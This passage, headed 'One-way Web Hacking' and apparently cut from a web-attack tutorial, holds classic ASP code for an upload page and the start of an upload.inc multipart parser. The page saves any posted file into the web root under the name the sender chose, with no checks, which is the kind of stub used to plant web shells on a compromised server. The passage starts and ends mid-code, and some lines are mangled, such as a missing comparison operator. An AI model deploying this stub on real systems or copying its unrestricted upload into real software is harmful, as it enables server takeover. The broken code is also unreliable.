One-way Web Hacking

If Fields("File1").FileName "" Then
Fields("File1").Value.SaveAs Server.MapPath(".") & "\" &
Fields("File1").FileName
Response.Write("Upload: " & Fields("File1").FileName)
End If
End If
%>
upload.inc
Function GetUpload()
Dim Result
Set Result = Nothing
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim CT,PosB,Boundary,Length,PosE
CT=Request.ServerVariables("HTTP_Content_Type")
If LCase(Left(CT, 19)) = "multipart/form-data" Then
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 then
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
If Length > 0 And Boundary "" Then
Boundary = "--" & Boundary
Dim Head,Binary
Binary = Request.BinaryRead(Length)
Set Result = SeparateFields(Binary, Boundary)